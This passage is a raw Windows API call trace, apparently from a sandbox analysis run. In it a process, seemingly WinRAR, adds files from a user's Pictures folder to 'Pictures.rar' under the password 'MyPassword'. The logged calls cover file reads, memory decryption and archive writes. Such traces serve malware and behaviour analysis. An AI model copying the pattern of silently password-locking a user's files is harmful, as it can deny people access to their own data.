lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.462] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.462] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.462] ResetEvent (hEvent=0x344) returned 1 [0065.462] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.464] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.464] ResetEvent (hEvent=0x344) returned 1 [0065.464] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.465] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.466] ResetEvent (hEvent=0x344) returned 1 [0065.466] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.468] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.468] GetTickCount () returned 0x2645d [0065.468] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15679713687) returned 1 [0065.469] GetTickCount () returned 0x2645d [0065.469] GetTickCount () returned 0x2645d [0065.469] GetTickCount () returned 0x2645d [0065.469] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.469] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.469] GetFocus () returned 0x102e2 [0065.469] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.469] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.469] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.469] GetFocus () returned 0x102e2 [0065.469] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.470] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.470] ResetEvent (hEvent=0x33c) returned 1 [0065.470] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.471] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.471] ResetEvent (hEvent=0x33c) returned 1 [0065.471] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.472] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.472] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.472] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.472] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x130272 [0065.472] SetFilePointer (in: hFile=0x32c, lDistanceToMove=106, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1302dc [0065.472] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.472] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.472] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.472] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.472] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x168a0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x168a0, lpOverlapped=0x0) returned 1 [0065.474] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.474] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.474] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1245810, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x130272 [0065.474] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x130272 [0065.474] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.474] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0065.474] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f9bb0 [0065.474] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.474] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0065.474] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f9980 [0065.474] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.474] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0065.474] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.474] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.474] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0065.474] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0065.474] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f98e0 [0065.474] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f98e0, Size=0x7a) returned 0x28b084ed5b0 [0065.474] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed5b3*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed5b3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x6a, lpOverlapped=0x0) returned 1 [0065.474] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcc0 [0065.474] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x6a) returned 0x28b084fc1d0 [0065.474] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9980 | out: hHeap=0x28b08430000) returned 1 [0065.475] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed5b0 | out: hHeap=0x28b08430000) returned 1 [0065.475] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x146b7c [0065.475] CloseHandle (hObject=0x350) returned 1 [0065.475] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.475] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.475] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.475] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.475] FindFirstFileW (in: lpFileName="m3Vfo.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee970 [0065.475] FindClose (in: hFindFile=0x28b0c0ee970 | out: hFindFile=0x28b0c0ee970) returned 1 [0065.475] CreateFileW (lpFileName="m3Vfo.png" (normalized: "c:\\users\\fd1hvy\\pictures\\m3vfo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.475] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.475] GetTickCount () returned 0x2645d [0065.475] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.475] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.475] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.475] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.475] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="m3ksaTaVuXM_ADoCvA.jpg") returned 22 [0065.475] SetWindowTextW (hWnd=0x102c6, lpString="m3Vfo.png") returned 1 [0065.476] GetTickCount () returned 0x2645d [0065.476] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.476] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.476] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.476] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.476] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x3c0)) [0065.476] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.476] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15680500289) returned 1 [0065.476] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x16bf6, lpOverlapped=0x0) returned 1 [0065.477] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b722c36, nNumberOfBytesToRead=0xe940a, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b722c36*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.477] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.477] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.477] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0065.477] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0065.477] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f690, Size=0x48) returned 0x28b084f9110 [0065.477] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.477] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0065.477] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f9980 [0065.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9110 | out: hHeap=0x28b08430000) returned 1 [0065.477] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.477] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0065.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fcf0 | out: hHeap=0x28b08430000) returned 1 [0065.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0065.477] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fbd0, Size=0x48) returned 0x28b084f8ee0 [0065.477] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f8ee0, Size=0x7a) returned 0x28b084ed7f0 [0065.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9980 | out: hHeap=0x28b08430000) returned 1 [0065.477] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed7f0 | out: hHeap=0x28b08430000) returned 1 [0065.477] GetTickCount () returned 0x2645d [0065.477] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15680602506) returned 1 [0065.477] GetTickCount () returned 0x2645d [0065.477] GetTickCount () returned 0x2645d [0065.477] GetTickCount () returned 0x2645d [0065.478] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.478] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.478] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.478] ResetEvent (hEvent=0x344) returned 1 [0065.478] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.578] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.578] ResetEvent (hEvent=0x344) returned 1 [0065.578] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.580] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.580] ResetEvent (hEvent=0x344) returned 1 [0065.580] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.583] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.583] GetTickCount () returned 0x264cb [0065.583] GetLastError () returned 0x0 [0065.583] SetLastError (dwErrCode=0x0) [0065.583] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0065.583] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0065.583] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.583] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0065.583] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15691212358) returned 1 [0065.584] GetTickCount () returned 0x264cb [0065.584] GetTickCount () returned 0x264cb [0065.584] GetTickCount () returned 0x264cb [0065.584] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.586] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.587] GetFocus () returned 0x102e2 [0065.587] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.587] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.587] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.587] GetFocus () returned 0x102e2 [0065.587] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.588] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.588] ResetEvent (hEvent=0x33c) returned 1 [0065.588] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.588] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.588] ResetEvent (hEvent=0x33c) returned 1 [0065.588] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.590] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.590] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.590] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.590] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x146b7c [0065.590] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x146bd9 [0065.590] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.590] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.591] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.591] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.591] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x16cc0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x16cc0, lpOverlapped=0x0) returned 1 [0065.592] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.592] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.592] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1338236, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x146b7c [0065.592] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x146b7c [0065.592] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0065.592] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.592] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9070 [0065.592] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.592] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0065.592] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f720, Size=0x48) returned 0x28b084f9020 [0065.592] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.592] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9070 | out: hHeap=0x28b08430000) returned 1 [0065.592] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f690 [0065.593] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.593] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa80 | out: hHeap=0x28b08430000) returned 1 [0065.593] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f690 | out: hHeap=0x28b08430000) returned 1 [0065.593] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fcf0, Size=0x48) returned 0x28b084f9660 [0065.593] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9660, Size=0x7a) returned 0x28b084ed0a0 [0065.593] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed0a3*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed0a3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5d, lpOverlapped=0x0) returned 1 [0065.593] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fbd0 [0065.593] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5d) returned 0x28b0c100470 [0065.593] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9020 | out: hHeap=0x28b08430000) returned 1 [0065.593] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed0a0 | out: hHeap=0x28b08430000) returned 1 [0065.593] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x15d899 [0065.593] CloseHandle (hObject=0x350) returned 1 [0065.593] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.593] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.593] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.593] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.593] FindFirstFileW (in: lpFileName="Pe_4G6TNHBiw7.gif", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee7f0 [0065.593] FindClose (in: hFindFile=0x28b0c0ee7f0 | out: hFindFile=0x28b0c0ee7f0) returned 1 [0065.593] CreateFileW (lpFileName="Pe_4G6TNHBiw7.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\pe_4g6tnhbiw7.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.593] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.593] GetTickCount () returned 0x264da [0065.594] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.594] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.594] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.594] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.594] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="m3Vfo.png") returned 9 [0065.594] SetWindowTextW (hWnd=0x102c6, lpString="Pe_4G6TNHBiw7.gif") returned 1 [0065.594] GetTickCount () returned 0x264da [0065.594] UpdateWindow (hWnd=0x102be) returned 1 [0065.594] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.594] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.595] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.595] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.595] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x55)) [0065.595] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.595] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15692344301) returned 1 [0065.595] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x112f5, lpOverlapped=0x0) returned 1 [0065.595] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b71d335, 